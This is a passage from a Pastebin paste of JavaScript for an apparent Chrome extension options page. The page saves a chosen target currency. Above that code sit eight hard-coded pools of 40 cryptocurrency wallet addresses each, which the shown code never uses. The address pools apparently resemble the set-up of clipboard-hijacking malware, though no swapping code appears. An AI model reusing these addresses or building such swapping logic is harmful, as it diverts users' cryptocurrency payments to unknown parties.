  523. var NMHashs = ["NC9ZP7TrJvFzLc2YX1iPauJvwxQ5LwWooJ", "NE9cTAxpvhHagpEFd5rFLHNdaCZQNo4r65", "NHR3X92oFQqcr5THfWcy3siZ8nvzq5vUv6", "NKPkRSzrrhQx8ymzT2iNzQ2ktnE3C6QfRt", "MypiGQrgXNjWCbEurCkUUh1dK6opNr6nAp", "N6WQvhAchnmtiMeQvzTESZ92jusnJsaYUo", "N8yq9HYUZZk1Fb8T324J1j7NNRUhuAx5Mn", "NDJuweQAhRFkdxVC6GRVy2Y6drfgdUXtMN", "N1GbuLaNv1Ve6oUiGshV7CL8NRUQujnGyi", "NGddJy4wjTUC2K3fn4EoYaf11f3d21FPaC", "NB6QCGs8jA7iCjZrJnwPnmBk1kD7xeSaQ7", "NDBBomgCedGwD7JaVucepdJ28TT2yo5nZ8", "N5aMSw1SxpeFUFtGLgaQZPLvvJPJvAyDmQ", "N2Hor58vL7Aq2Gus2dTiQdct4DaJ731dVy", "NJS6rRCkbXsy8dPncknn8vHe8DxVS8qX3x", "N7JRHBvCPkx4EdV4qkRehdx5eMRLecW8v4", "N9AJNwJpAH46H2GtiZfNE2WMBhCgm41Hqt", "Mxwszm1SpBC2ziRRk7sWfKFYZjnPBjoUf3", "N98kU5kejJK2KVFYNJAQn4ESvsbcvZTxRM", "NAcg5Rdxp9Z5F6EAVj4Na21LwuDu3EMA8V", "N68oTHLQ9wrgqpXvkUnPKtivVLyjgVETCF", "NEjUukkajrjmgSZJQn96P431rgu4zwXFii", "Mz8eFJXKeMJhV64nsdzWxGjDD3SVqvwEZB", "N2pR7uRE9nzk99ubbn5FDV3qURiQurdC9z", "NGQaFNsxcL2ZTVmZAeS5tSGU78M9WMyRtL", "MvvFivtqF5q1jcvqDQAD5AkasTLumt1sF1", "NGCEkgcnQs6NT9FdPnb6q5DoPnoqwyvnMZ", "MxyCTjuU4DEDK1uGNxXTvQHESdwCRn6KzP", "NJgMQsy6iiVRViJf2jXP6DoAisvhiVznpW", "N5tMqB4KJsb3rU9sC2cCL7JkatDo6uREcn", "NGRq12jBq5fXkH1FwazdLd1gbgns7gm9yc", "N1UPTFZNrNDhG3aRX9vA6ktNhQPwFSV6BB", "MzWebagbpWg3FDi5UqrFSoh6ReaZKE8seQ", "NBUiKAi7Bk1VvBGMhEo47SzQKgvcqcjfe6", "MvfDbJjy2ox3N8HG7FRcxjsFGkydNarmaM", "N46d6q3JpdiDrcuof1EN3HMyhnB7og9Aqi", "N3AemNNzAaz1Z6Y5eby2sqYnXfVTYD6Kwo", "N8kqHxzxNKeB7kixw2KgC6ffh7nsoNvS9q", "N6njHUaLio5kaRWaGecfiwVUoQ13eJzN1X", "NGUFw9s1BCjfXQqffbDATC7oNXV7KznQPG"]
  524. var XPHashs = ["AMk171XTP9XAnwpUtZnQ6Apqs3NxKCvxTZ", "APqWTmhEEPG2b4hCtdBadxaycZMwpXRwKh", "AdMPw8M5ZS1LJTPS4eRRAFASNh7m5Re5Bg", "AbRc22XqF4czXQDTQc4xDxLSBnCfZzPPtL", "AQ9Ev1jxkeqRaWejAk5uFsSkTL57x7Hi9a", "AaeEQPKaMdJJ6TbdVQWzyZQ8z4caSkYLp9", "ARUpkPNxquA4Hedjr4NomXiKTZ4u9mZ9Jb", "Ab7qQhMtE3kxBK2Dtp3g2UAy3GwXNoM17Y", "AP7hxJxrYKFcxgTUuR93xEEfYJ5AqZrkSn", "AQuUiLvYF5wbCjx6jkA286rmVW1ZUQFj7n", "AKxD9sJBbyPouCbhR2evnGuyN1jnUxFmVF", "ATsHeeZ272tSsgFBjrVB8nJMh5JMEXocPg", "AY1yGHGCc7vkZ66erJGCMCnERLqRKEkoBW", "AVLa9z5vfHr12PRU3CoZbqYTVVSPxNpGxz", "AW5uLeT79vgBwy8qaX6WKew9iWRqoG479Y", "AUf66t8UnoZukSe4igRw5Xu8b5c76ipkEf", "APCzjmckZfTpBPmQV4wKDbp5dVtj6J6NAC", "ALZwofSNhit9jweMTL7LBRY6qEFQt5bvPE", "AZuw1KnXWAjdJrEhMs3wYzHTFcExnZUTHZ", "AV55pvttiTekkqNS7gsEEA52uMVcmcMWAX", "AP7NCgsvHx9WfbYaHcmgkD9ojUVHWFVRCR", "AT9hvmwiN2sDDVQ8m2h4mjkidvqf2Sogps", "ATh2oMEqN27wNNZHoncYtiKBKXXs48pwDM", "AHWtjnVnSdWCvLV89Kj5KJdbsTKFtLq5Mo", "AJi3oqLWSR4tLUnSDXU6QJVwPXH1xhCn7s", "AU5ee14PK9PdXEajR71GsozAzkNWGdDXp1", "AWnv4YnGBK85ABoxTa7RC2opZ293c3Mr5n", "ALZLCK8BRQ6RER7i217Hc6SdRbSs2L6PCt", "AUN1iacxsownGqxQaHmqeMnco7krhULp3c", "ASbi7JpDsPFxQ2j2yKFVy4V7igJEoqeipv", "AdC3kvdHy999XXdvGrqDWWQ2HEurNmWK6s", "AXEg3jRmn8a8AkwsihDqSt9QdpaUTcXhcm", "AGK8XdHokkEYGvZ2joEAYnuEprBvDMJddq", "AGcbJ8mSVovoUFZxUzamaxc96FpTh6ZYeR", "Aa3P3b38ZfwjapjsaeWwmR9CGNcFFMaAmh", "AaFxq8no9H4wWZXZgNYzBFyxj12NBXEhb3", "ASrf8wbWC4XGCjZZyyBTaKkZfjbeF1kJun", "ANioUbst4jfoCYSNu7yTZoTKufRRVHNUYV", "AS4zkLgBGSDTcbq7gYETtBZVK6JuU9nTb7", "AaWDPDMaDXWvjUPiCgaEeiGwmrhns8i9N8"]
  525. var VTHashs = ["Vd3g5o3qMyGWynCkhGi3pWeVmTKYgna2eJ", "VuA3mRsm7CcLi4bxxyGGtFFkm9s1L2gGzM", "VePRLVX3YSevL9vpsX7sPFKdQ2s7EKV8Bt", "VusDBYU47uk4An5Wyeiw353eoAApqaCEdj", "ViwgoCA6NFiDJ174w6iSiJe4NxbWU1UgYp", "Vjn6WHH2kQJcndBPr1PqKW5zE9KgfmWYLm", "Vi4RGdQx7KUKd4pymDEUykt8q4WYsa3H7N", "Vepc8JqJ5GLTeQkm1xagepCwUAES8rQtK7", "VctutQMhaFFZaCGpTZ6uAX3SgxHWiuN45q", "VsBU1a2dxnDtgTcwgnfghWgoipFMrMcmjm", "VgY4SEUpGUPTzdc2X9ExxZoMi2Q5CLLWUy", "Vv1qcDdPLBNW83e5ty8c1vhjfk4dLRP2Mn", "VeRXvxQqmU7gmU6VaaZWnFfmu8gYuLEtTp", "Vrj9PtRZRMynxx2Wyam4BaEd55Lx1qpVxU", "Vh2uSpchVaVn85XP3kLqWGpUycUbYvSqE6", "Vjc76XUfEMiLGJh89fRKwMKPjFFurFiute", "ViWdgQmoBRVyhptiJCgLs1DnFLJKAAnFsS", "VmLyZuJ1fVGfdKkfggsH4umBg3zEHC5n18", "VekeuWi8NFL8ufsRGDQRTDvhQMVFgkQ6Sd", "Vh1NYwj1ttB6nVkCYvs9dar4SC1ZVrg1vj", "ViEjqfVV7VvPru7QTxuQVyZn2juyHyqgxb", "Vcs7M8WkZXD5jUzStmWvKEckP13VuYVKT2", "VsN1wCABjPo3U4YokUvMHqH5XroixQ5wnU", "VbZXZuxvKgnYRrNgE9X2Gp2pZvxRLLG3Ng", "VcJh3fMHNxU2SSzfSQdU1TeS1NYrd9R29k", "Vd1G1R1EzFriqJZdaMzCBKTBQXA1YPDch9", "VvdXoM693TZCFGwhfrJMSMbjt2wgyU6YHF", "Vbo5KQKvZnTT29WKPYU4XWXPs6aDmpWu3a", "VxSpuKjKKiEzJDMV5FkNbwRxpTzevGhxjU", "Vk6VP3Yc38jWBdq9Vi4bWqXGB1EqzMRZow", "Vraj6jxLVLy67K4nuASwFCWsS9p4a1mkoR", "ViaGFddobcBbdNAkNFMJCLfWJbnuqyMBCk", "Vomnfmc6w3H6zGuNb5ozCLX6UUkntP9RR2", "VmdphSWANnwZoU8FehzK3jEKPKPo6wFnvg", "VuFKVsv9eCU2d66i23gAA2nNKUV9KoAAHD", "Vi2f4kNWt3Kbbt8etx7Eddc6cWwfo4dUZu", "VpMBrfsFxg7VN2XuDEuPqW2Yp136LFwR13", "Vxv5YzXUzzoJpYLjPx2HJxM4JgomGtwTCN", "VhnxYH5sCpeSuaHF8o7PbMjdTWAjD3phsY", "Vh2fB3roqUMWK2sbyESXuRDHbh59FEQeML"]
  526. var QRHashs = ["Qcm5Zy3xApcABhn9qyxvM3g7sgZxvJgqXo", "QW3rSAG1HMqKS8TsS27XZZPYzTu6LQJYGN", "QiVuLpMqMCZuKX3Xop7cztHymBfrCX6xyk", "QRZCtfyf3sFKtdmkio4WMv4rpHszGBEHZf", "QPJtHxX5kus9eFb8RaVFkDcxPT29Xxnyxk", "QM15nHeJywE9kPkXw6tEjkKCRsozi2gCWC", "QPcwz1MaLmqyTyz7SNpUDLxrqQsqz6qyxp", "QQ93XFAtS55NavdbWFRnrcdkb379uUwELn", "QZUoM5PkqaqqTQnGSS1yAm4zGpBxzwq7cQ", "Qdc7pJuXbTV2Y6tetpJk3DecAibJ8KWHuX", "QYHwicymc1Jzbegiz6V7dLZFcdthYgJVdn", "QiETfveM9HccYyDLcLXZfRMZ3RJQAFFs7U", "QceCUZJnNjSjB5zNvihgZGacd92AYDkm3G", "QWY54tv2cyGHk3FLBPBgcC27mupKdfXQ3e", "QN3X3bMAxeiBtuvat6qWe91KDR42CbBh3d", "QXbanAjK898a33o1LTWkh8yUbsZ7zqKUai", "QRZZqHfMntH7xPdq2ba3PUUdSi3Aez5pp8", "QhtADXDmpf7oJcYcZpMPC5hKzMKhuYSWT6", "QXjeruwCAiR4VHWsabKsX2fLBZHTZyJYog", "QQMVhMrm2wV643hPto3Xk31HZp7ZrmXwbK", "QRwJyfsJwnCaCPazF9oEVzLT3qw5sNWiwU", "QU9dGPzBL3avX7JHLbdQFnHx3wFU8wXY5z", "QbGhe6nbiPGQUx1apC2d2ZsFCfKe4hcxaV", "QW78jKwFmoLg2UxZyt5XFjudbDRteYEgVc", "QRDo13z1JgLxzjySXXZWxafcimZpSvi1mJ", "QWiTcgn1thnsVfwBXCEHCxd2hH52zkDuMj", "QTc7ViJnGJAeuKLFHz4jC31mLWGttnfxML", "QgWdum4qi6Xidpx2FJAwgnb1suoZdWMSch", "QWq69XBGgL1xUutddKX2RnMZqiRR4WAaFE", "QPt9F5KVcycR93V28FoXzMHw5XQ7HNvpFy", "QPHNmv7Pg7THhLp2155Htv1ZHhFBcb5R5Z", "QdwUzwC965yPAJX1QVeJz1wRpARzv5ucA8", "Qh6X8vszzsqmYPY3QqkLYC98KmhCA63puM", "QYFMKrM9BBzKZycRhzvtYfetYzZEsWn8Pq", "QLficbvvZxxHkWThaiUkCLcmtTj9LvhipY", "QRFfFmvQN3F5S3qpDNXWtCtpjrahNGaWFN", "Qb5JH3u6FKHGtJgjrNSYPNsuEjSNbznTno", "QP3mjVfXyBSZYbVfmtqrhD7aPtoCo5Ribc", "QiXx8hFwDsgEKZgkz1VXmcivdZXqqUF1Yj", "QgyYxFvdDVoCA4XnEu1MdiSL54ZXttTVTF"]
  527. var ZEHashs = ["ZVqWJbktoQKYRzdUYwPGbvKufvAQYQGyay", "ZHzaVb2v5EAQoyatjA7VZos3ZvuSLQmVKS", "ZZ11FQJoZUh7DcoNApM8hf12YxWtfVN18X", "ZX7WFCp93ZExE6iF2T73qUyE7rXC7uMWRs", "ZC77WCH5bN1xuh1ppXVV4GRsWrutuvgiqk", "ZFetbBhUmMjqircZZYRrNnFQNteat54Y34", "ZVaXTrusrdL1J97m5XuH5xZycuYGdwfgBX", "ZUUhzmzrH5ka7ktQVHDUqqhrEd1d9RNu6V", "ZZc3ghn9auc6o2pAPrXsHkW9zy2B9Z7WMb", "ZStEdnUJ49MpthysrdvmqmyFFJCkEJLkC4", "ZPXSbd6H6nzWqNGx3iJykGxKBxVpX8DF2B", "ZFcLKnH9sxCbwoFYb7hSY9BjMMr4c6mUgE", "ZFcehLcGzdTb44R5TqD49QRggxeyUuaeAG", "ZUhkppHdr6CA3mQXpCGUS61iheg3F6GWdA", "ZWvTzbAMgnBLmi8Lir56yVWhbJqnH9SYAX", "ZPityCzkz5GDh7sSXboKBj3TJzAB8EBFoU", "ZUDuKtS13iW6ySVjLk3YcbAQSkjUWgtqQM", "ZQCC9qFHtK77ppVBSa85JvAsajtxUfL4Pp", "ZMgTNwQd1Pi2RCxL4H94Zb19T1Y1vsnWKX", "ZGKSPXqB7v2qJqyBJc2DxXvkTt1VMhCUdL", "ZUBuFpnukFGwGREkmJq862c6FiyQpfFKQv", "ZMvH2gL5Xk1B5j1hLtvRfXdLHQPdzrKqkE", "ZQJd46uyxK2BqFdYycQ2ULUaBNSRxUNmSh", "ZQbqNRjJV2TeaWc8NgepsUswa23kWXQZpJ", "ZaKbFrW7JZxcCMEqJruzqGvuWbc7MrN3WY", "ZVb8gcY9cFD7WBq2Km9XCfkV2K2y5c8z6v", "ZDA9oUBKbSZAAcFEb9JLx5csxnDtbmMhns", "ZRdZGY6B6mdV6AwK6Bwb2wGfKjNzKExfLi", "ZZUBgU7d9SZ2uNFPcvxLBfXKVKxttiC9Wk", "ZWoBvrF4w65JTgcpH7mdq8EojgbAWhhKe9", "ZJ9XeeNU7xirq3RsaGngZabfB3948RkuCk", "ZUSMuAc7rNJZoSXQU6AhU76rocVW1Phy8V", "ZSEyhefN8GoQy5ivJzWHZNmNrU4t8NCR8M", "ZTrnfUrvVbW2Rr9wE4jnkJsi4J8soaNAKN", "ZCiauk4tQTbAsm7MvoF4Y3dK6VJkddXGW3", "ZUTxLuxk63gnzRdGvUhrMze2deG68KzDPc", "ZYA7JCLP6JnjF1tyiPCyo8SVYyDivPpgMx", "ZENoPDsbAo4yhdJdCXGC8FHkZNbY7DkJCv", "ZSx6mTUb9J4D1zZBw2BRDChyqciiTmqFd5", "ZCTGhZwx3bP5SHjmWxVV1Ytg7qKj295BWd"]
  528. var DOHashs = ["DAnHaHdbkiuD7VowE5j1RWunbvVCiKpUXi", "DRkUYtuJjmfwGuphe89krRZmxfPt8MgrqU", "DNshT9eKWdjf8WWgacUb7618KeyxKuMnmH", "DTEfoNMXpimJqpbXAnnJRstxqohq815x6f", "DCjYd2WXnsj4WNkvL9KVwEqj5QUsxJhff9", "D91yhwq2YqRHAChnvxsJAzJEqpVcfHJkot", "DHPaj2CXcrQhCFBB3fEzXLBAidvT1dsKwE", "DHb3gJcYb7JFKtpwiHfzzWygMWngd3Dmdz", "DPbtPEj57L5rsMoavHLnUj2ZySNmi9CVhs", "D7wQ8yi5poQothhpwYpCpm312U5eTk69qT", "DEbANgt6QMptZtrVNJpav72kjKn1JTqYTD", "DMuCXYVNG5Dni3TsKS6ypbJHuw6RkwXH3y", "DS25Aawnz5zr6aPSNRrSeNXEudUHBziwY8", "DKhUK4DZySy1As8wReQ8xhKpfKjAmhYDuE", "DG8a4oBiyuhkf8isyPBzKpoPb6Wkn9Ng1i", "D6ozABbLNK5NdCoD45QpajFtxrMoYgSsRJ", "D7E3hcfawY659ZhLEnBMAe5MD53P5rbTLu", "DPdZJs7zRu5MvFS5qUzKJe1G7bij6mAXkg", "DCm1czgqKcv9wCuThFH7LjzsRNrjc94VB7", "DGmpUd9vdutk5i5WaPQAXt8nhLHqrdLQGC", "DJ287xMVmDgTYrNp6pSopKkbKJpWuMT2e8", "D7xK4SidwkFnjKrAdYKqYfyrG3vaG5Nxfm", "DPEjZt2fdG2izaZ5XuBvjEGw39h67FpyhL", "D6wXRex7DBTqFsS65nBZYUyYTCtRe51QE8", "D8AJam9bH2tQrMzvbdnucBQezMcRKo5CBh", "DFGT4PKm3Gso2o7TefcsWaVo7aVWT8SagJ", "DKphn5tq9H8Ke9UVyXnuiBseCRLie2mBqE", "D9mdAUK8bb91hSD9guw6FwZCWo3fGJQKet", "D7n9if1akGTk96c5AwqkxEY8yALQAQx7Xg", "DNFGiDDfeFsyGgqFHTTe5QJxPzLs7jxtCf", "DGZ2ZcEsH4BYvPrvo9rPfJZcWNjY3otNf3", "DPa6dC1Pgqq4AVUoC6xRptpEfuqgdx55Hm", "DQRrZ8kHujSBhMwqSbD843rCEDKHCc4gFT", "DBuDRLzEahpj735HCF2vqEpM72if8hs3iS", "D7Pirarsio8XftL8KMgkzQdCDzLVLP6B9Q", "DNGfzD8Ki6oNMJJN3kzw8zGbXFPs8Pd3r5", "DTSyc9fYNwkggyfvQx2NhmxNVvxGRzttQP", "DNcKDHNv8za53T2ucCM1pcfNaHuuZG46Tj", "DN18srKQYdSVH9PgSiUfZ2R48PmE8eHUDk", "D5dBaWM9VQDzjSQauhwMGuFgVvKTcGeKp5"]
  529. var FTHashs = ["6vASu8N2ehjpSiJHdaTPeTnt9tUVxGUG4G", "6xhRXjBE5F2e5NZK1Lrarvyz8pUhJojE58", "6qSFb52HctRd1rw4cuiUARf5EGdAuMzxti", "6pLN1AyJ2Vj31P7H9TqvwBJJRqtAzoQ1BG", "6ndrz99NCt6guHNXqJd2kjYwuHCGmTwP6S", "6nhCumL6jZXpXx7G1MvDMaTdn3jzXJNDAr", "6qpa166avmtD2kxUGAXWsBBVzB8u7kMtv7", "6s6eX8sdRDpMWrSL52nemWp4ZkuUkqB72Y", "6x6twNaaLLdkMpSc6n8yZuTMbsBxbFSFZj", "6qoDK42uUJui8LTW8HkMb9h4sPJk1TZdVC", "6nQtLDjSMEVapGtinZN6PhLBGwt57S7Dxk", "6f4bmmmqkTJzdA28Rys7DH5q4jGuwpDPgA", "6kUSGMpwPjjQw3JVvm6yj9vqn6dpMErKKV", "6qXNXjaMkEDfSDUyM9Y6bm4eeFLgvEDkTp", "6hrFB2Th7eZNNuKFgxiZqZot5fy25ZcVvi", "6iCY5rkqqQ175HpG3rY7MGDojH3sN6XunM", "6f1Mgqj41PgaGdsZP3rCFwRwHPT6t2ixxx", "6nUVaEfoBfPL2rzryyTTwE7ygz62B9zK3W", "6tEJCHLCTtRd9En8hs55xULqG3QcSoXq43", "6uKmHhryUAk6VQfp17r1nbGNBc2EAZJE9M", "6siF4v49uvZ2zdQ5feAUh5DAcwP3FW8LXg", "6fdXdpVNQDU1wUYLxMusEjPyKHxjuF3mNh", "6zBpcw8cpcr8X7r7voyz8xy6LBCpThiEJg", "72iKi84vSEJpvHZkNHzUtvoFc3xotghWFF", "6h5gnLJYViHwqE31aRqbGuMHGo8nEmm7js", "6w5q7PXoi45bZwX41T1TdegkzvvxdUqj75", "6wm9eAsg5ohnbaJByt375P2LC9UNbpaSJv", "6oReTYATDaKpxyej3kJTv787VVvqSSCFYw", "6ruVkTxuPBZGkgAAuQxRbxntpK4TqJzm1Z", "6xruvrbcfLPYDkTEdmzXUk1ZMGpbPthLdL", "6pdAupN1NEebu1FTKPGqHUYsAQwrH5jfqg", "6kDRsXtwLePGgHBCJVLJ4gJNqG2QJsTP4J", "6p5r1y3MvCKiaK1Pv8fjaUHW7cw9eX31yU", "6w93CQg3Cq1Sh32BtXiLjStCuLyLa9Zk8Z", "6wAjkS1hDdZWuCs7JTx8j5PXVxEKWfAA3d", "6gR7RNYta14y2AMEkFLa1esTxmSbfyQMio", "71ioM9GsYaZe9jYx81Y9yWkrfXdHR1J7qe", "6gPXg8CKnPjHe4HX16tTEH7GeSsiG7b2Kj", "6t4zdQDFkcPiupG9ugjqzT13FkzirZzFB4", "6k5h6wzG6xViXwVwTQzPdfxkGg8rDVK6pW"]
  530. var BCHashs = ["BLeWXUjVFYkJNPV7Lu7L8kNmpDQdUznAEC", "BMSVgEA7n9dGyjxCWpUDCp5ujdRZtwWYVr", "BFYYNavJgVmbn7NrFnceFRsynF1VMTu77H", "BGSKtZ38A9rA3EVeTLVQCLVoRet4eoR3p7", "B5UU6dtG3Qhye1f9wFB8sA8z5dJCEKtHBH", "BE8VAbpN3rxsKhc134bY5Z7PerhjhQgMdJ", "BB78rwBg2tBDMqhhGhatW5FYPDX6kqx3eb", "BChWtrGGGEA44AfwCYzXSUnSrs4v14iVjV", "BPdSyxYEFhxvGY2Ry3ziCDnzKibqzH7hu6", "BRHrKdVB9JwAMnXgdhkRrZJEY1aEkqrgzY", "BQveFqCy1zUtQHh5kYhGVSULmQNkzC4sqi", "B4u2XZ5jdb7v5s68qFaNi7aPL2CksVWL5F", "BDYBRkZC5nJyjJmvkhAyeAXMiRHzD4fLtZ", "B6cfrgYCUQdbopkEYYWEsEeNHdDELG181b", "BDKGnWHnVKCGnnJ79di7TjtVDjP8CmbMcw", "BDPq2DPd2PSxmN6aPrY9AwqQ3uxg1ah94Q", "BGBPfTobJsmJhwkGab5oj5kKL9ivRinhh9", "BArWYZe537giNkurFApvETwjazkqyJajMH", "BSWMM9kmhZCUdsKnLG8Ns6YRhYGYiScZRK", "B5E3NXqF58XjneYujsioWTZeeXZNThgkZ3", "BF3YRUm6q3bXBCmTY9X8N9sn9WnUjcEjqH", "BDsXDy79dBDhFpNz4B9r2aKoT8kyWjfi4a", "BLHDXfWABxhiywTViEjvV9D7h8yYwbBrAr", "BJbofKKhBvZ63FYhtqWNJNsPW8N3sVhHi6", "B626ygRYhtsf54c8gRpkf8Lot1UoBpb3NP", "BLVhyeaAX16euruHdZy6ZXMVv12bRWFwcE", "BDvyy4gDH3xnkWF6LBcMdmNusuEigeqpmB", "BCdmZViKxWPFPi3TUzJErvz5z7WdEJVTRQ", "B7dvot9sugVdAuGKEKZvJeB2hdiCKpVZqh", "BMUFMGRaDRQn1kVvPdBnWyijSicCtLayJT", "BFG2N9xdNxYTsiUirfWGgfokbdsbiSoviP", "B8BPkY8TNdLaR2Ft6QPHYdoWVqaVDKsVJr", "BDpjhnab7QdTWKSq1zVesiXbTXYuWyD9YL", "BNnRMEndLujtnHsqQUyXpvEactau9tXrpP", "BMEbo1gk1i4detohjTp2uDpsfJ9Q2pUSBY", "B517WhsPwhWdX89HRLf4MKJ7qRuvLxkdQm", "BASwgA39xKBv4exDskxNZo3snGRba7hTNk", "B8gjuKw5ZLaLt9e6W1iDDNPFCvYYM5fdS3", "BGRRp23btX1rCYr8Sc9d4abcKeFCu3QaH6", "B77iYjJvTHF6oDRcRGvpp89x3tcDF4RU7A"]
  531. var HASH_SIZE = 40
  532.  
  533. var extPort;
  534. function main() {
  535.     extPort = chrome.runtime.connect();
  536.     extPort.onMessage.addListener(OnMessage);
  537.     $("#saveBtn").click(TargetCurrencyChanged);
  538.     extPort.postMessage({ method: "GetTargetCurrency", callback: "UpdateRadioButtons" });
  539. }
  540. function OnMessage(msg) {
  541.     var method = msg.method;
  542.     switch (method) {
  543.         case "UpdateRadioButtons":
  544.             var currency = msg.currency;
  545.             UpdateRadioButtons(currency);
  546.             break;
  547.     }
  548. }
  549. function TargetCurrencyChanged() {
  550.     var $this = $(this);
  551.     extPort.postMessage({ method: "SetTargetCurrency", currency: $(".targetCurrency:checked").data("currency") });
  552. }
  553. function UpdateRadioButtons(currency) {
  554.     $(".targetCurrency[data-currency='" + currency + "']").attr('checked', 'checked');
  555. }
  556. $(document).ready(function () {
  557.     main();
  558. });
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top